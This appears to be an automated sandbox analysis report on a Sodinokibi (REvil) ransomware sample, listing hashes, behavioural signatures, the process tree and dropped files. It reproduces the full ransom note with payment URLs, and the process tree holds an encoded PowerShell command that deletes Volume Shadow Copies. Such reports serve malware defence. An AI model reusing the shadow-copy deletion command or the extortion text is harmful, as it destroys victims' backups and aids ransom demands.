Overview

overview

10

Static

static

10

e95162f6cf...18.exe

windows7-x64

10

e95162f6cf...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-09-2024 14:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe

  • Size

    166KB

  • MD5

    e95162f6cffa1a72a495a8edc11ee51b

  • SHA1

    ecea28ecbcb64cadccc161e7e864c516f7b96523

  • SHA256

    0fc141d6bb7eb031915cf916e92df0d8baa18047ddb4fc0be7653b9a7d6d31de

  • SHA512

    65b5f90c9f0f9bdee323554cbc1d5d2869268af8e181e75a6d872e396537ad3b4021635a8d0236e89c3b81f00c502931fd884e49c9283bccc1a6c82426bcc440

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QgerRJN+tH:ZJ0BXScFy2RsQJ8zggerJM

Score
10/10
sodinokibicredential_accessdiscoveryransomwarestealer

Malware Config

Extracted

Path

C:\Recovery\ki392o-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension ki392o. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F51BA04CE43C39 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/48F51BA04CE43C39 Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: h8aQuD2VlTRJB1AhRpRefDJSKHj25e9zrfI4bFfRywM6Qjbi6wtWpAybU0GdNj/1 P/rRwz4NFX5iTux1BIXiURAas7a0HZDobF7yUMJt3bNs0P2cM+MGqNJaGqlqnbMY dxvhRdlNX4G3MppONeGsCb/E9I8x6gbPwGXMdAhJ8nondVzMrqabIiqEr/oQ9wWF OGQy2cryGuEOpb+6tK8pddydnPbZ8/X2syAurGTCLkKWEHR4gxB5ZAlGd/xbU9Ym vTJikcF5zvGf3Ln2wqk0A/zZEk3XXx6n4EQfDzdqa3pJ97AVPP/i8OcZ8s2YbqaU zxRx2XlL9agrifCSZyxdOX6s7R74HLZaQRbCOwCiXxAVrFEZdPwdoJVSaCyb6HpA W3N4HUqiGVjPTs90IqtXK/3vt9mFZAWaaXtxToNSoFXg1TVypQ1twgvrlMNszM6t ZGZPqDTgPW9sMlpQECRVqpzYh2E0ljYtlaG/NVl46LwqjKidOsdQZqtYMPPs8LOp fZLuMF0hLOHYqtP1h0loEeBVEhTL9A2b1w/J4mgEfCdNASn1wC61+RnvrwvW8T8k rpCnztlxJmch/EwK5ouf3SA9L9sSgkAbGLiNmFdWTdCvzTjOpY/5DMH5QHxStrC+ /cmi5hD21EL78wnBqlGuqIB7CPclv8I8uYy2izi7jNqxieSYKmIAh/Zic/Wa1K8C 19olQQV6+o8hTAQaxKMkeMlD4ODDlmvJ2TRzmezwTPJUl4++NTpvHuXJGyilBdzD SUlSMzLsSCVByTM0ZJE0cJ7lyH7F//a0V2Ku4uPI6+o9/lYEquhqt1oatLMJx1eN ifm5oHCnKpAom1lD4Aq8ZWPCSCYXEYGyiZzxFgbXccQBj836apP5HDAVCK8jQEwg GhevCFcdk1hoBrVQRRlq7qqVYF942i7OAJaStxEqK+4iea0LYnHf7U6GJ3dMmSOx ucgUjy8AUjnB6x6dahAhatpZKbXXC8FKfYPSRF538lN4ozptALLK69w4KjNbu7cV gutAtbvBV2ZiDUVGeXvS1W6EJ+jO5FwcjSZL+17+nsI/WEX1BoZbyqVw6RxFn+f3 tvysICK0GWSPfWall2BHL6yqmaO/aK6Vh5VPrdXsT6EatE5a/yBKO1pf3HZJIdqv Cg8jxU4Cxtxwdx0qGi+HWBBzfXp7SvbEOqQpFqMFpmzgjYeXD3zeX/bMEBW/h/ni atxKFploGzE0oTJEDwn+lHlc8KmVhvmZi4sIealBOLfnztD+bz8ektalls6T9DQO zDXkyCh4T6eLp2D8O1vF1KMPjDhz2CNjj5QHXafXJ25oKMN6wPzz/vn1WcHauonu 18yalmXc9gpYg9q4mA7BuBs5iooP+M9qAlebWVqQO5b4heh/lOg= Extension name: ki392o ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F51BA04CE43C39

http://decryptor.cc/48F51BA04CE43C39

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 19 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e95162f6cffa1a72a495a8edc11ee51b_JaffaCakes118.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2380
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4724
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4768
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4400,i,6510295916244954942,10164894160290787457,262144 --variations-seed-version --mojo-platform-channel-handle=1012 /prefetch:8
      1⤵
        PID:884

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Recovery\ki392o-readme.txt
        Filesize

        8KB

        MD5

        fc6c541d56855b64ba5a56bd47539610

        SHA1

        8547551cb956e42b93adf030750d75a237d171ec

        SHA256

        bf9f326db1d972cacc80779518a38c989ebecb39aa908269069b2d89a2a9c0bf

        SHA512

        fcc9ac0ac19bd0eed37421e84801b1879671f7b5c2624d99867410780f454008d4fb24485bdb414168b7a98f900b663876a151153616ac6129949f428acc9ed9

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vagdljpd.0z5.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/2380-0-0x00007FF9CDB53000-0x00007FF9CDB55000-memory.dmp

        Filesize

        8KB

        Download

      • memory/2380-6-0x00000168668E0000-0x0000016866902000-memory.dmp

        Filesize

        136KB

        Download

      • memory/2380-11-0x00007FF9CDB50000-0x00007FF9CE611000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/2380-12-0x00007FF9CDB50000-0x00007FF9CE611000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/2380-15-0x00007FF9CDB50000-0x00007FF9CE611000-memory.dmp

        Filesize

        10.8MB

        Download